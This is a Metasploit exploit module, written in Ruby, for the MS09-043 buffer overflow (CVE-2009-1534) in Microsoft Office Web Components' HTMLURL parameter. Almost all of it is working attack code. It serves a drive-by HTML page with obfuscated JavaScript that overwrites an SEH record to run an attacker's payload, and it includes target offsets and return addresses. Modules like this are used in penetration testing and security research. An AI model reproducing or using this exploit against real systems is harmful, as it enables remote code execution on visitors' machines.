This Metasploit module exploits a buffer overflow in Microsoft's Office Web Components. When passing an overly long string as the "HTMLURL" parameter an attacker can execute arbitrary code.
62af271be942f6f55dcf24ea35dcb2372b11bd7391f408ea6ae7a854ad04f5f7##
# $Id: ms09_043_owc_htmlurl.rb 8698 2010-03-03 18:12:37Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Microsoft's Office Web Components.
When passing an overly long string as the "HTMLURL" parameter an attacker can
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 8698 $',
'References' =>
[
[ 'CVE', '2009-1534' ],
[ 'OSVDB', '56916' ],
[ 'BID', '35992' ],
[ 'MSB', 'MS09-043' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\xf0",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# 'ProgId' => "OWC.Spreadsheet.9"
# 'ClassId' => "0002E512-0000-0000-C000-000000000046",
[ 'Windows XP SP3 - IE6 - Office XP SP0',
{
'ClassId' => "0002E510-0000-0000-C000-000000000046",
'Offset' => 31337,
'Ret' => 0x42424242 # p/p/r in msohev.dll ??
}
],
[ 'Windows XP SP3 - IE6 - Office XP SP3',
{
'ClassId' => "0002E511-0000-0000-C000-000000000046",
'Offset' => ((4096*7) + 1076),
'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0
}
]
],
'DisclosureDate' => 'Aug 11 2009',
'DefaultTarget' => 1))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def big_alnum(num)
divisor = 2048 + rand(2048)
pad_pages = num / divisor
pad_left = num % divisor
ret = ''
ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages
ret << rand_text_alphanumeric(pad_left) if pad_left
ret
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# ActiveX parameter(s)
clsid = target['ClassId']
# Exploitation parameter(s)
seh_offset = target['Offset']
# Build the buffer.
string = big_alnum(seh_offset)
string << generate_seh_record(target.ret)
string << payload.encoded
string << big_alnum(40960 - string.length)
string = Rex::Text.to_unescape(string)
objid = rand_text_alphanumeric(8+rand(8))
fnname = rand_text_alphanumeric(8+rand(8))
# Build the final JavaScript
js = "function #{fnname}() { var long = unescape('#{string}'); #{objid}.HTMLURL = long; }"
# Obfuscate the javascript
opts = {
'Strings' => false, # way too slow to obfuscate this monster
'Symbols' => {
'Variables' => %w{ long }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.obfuscate()
# Build the final HTML
content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="history.go(0); #{fnname}()">
<object classid="clsid:#{clsid}" id="#{objid}">
</object>
</body>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content,
{
'Last-Modified' => 'Tue, 11 Aug 2009 07:13:46 GMT',
})
# Handle the payload
handler(cli)
end
end
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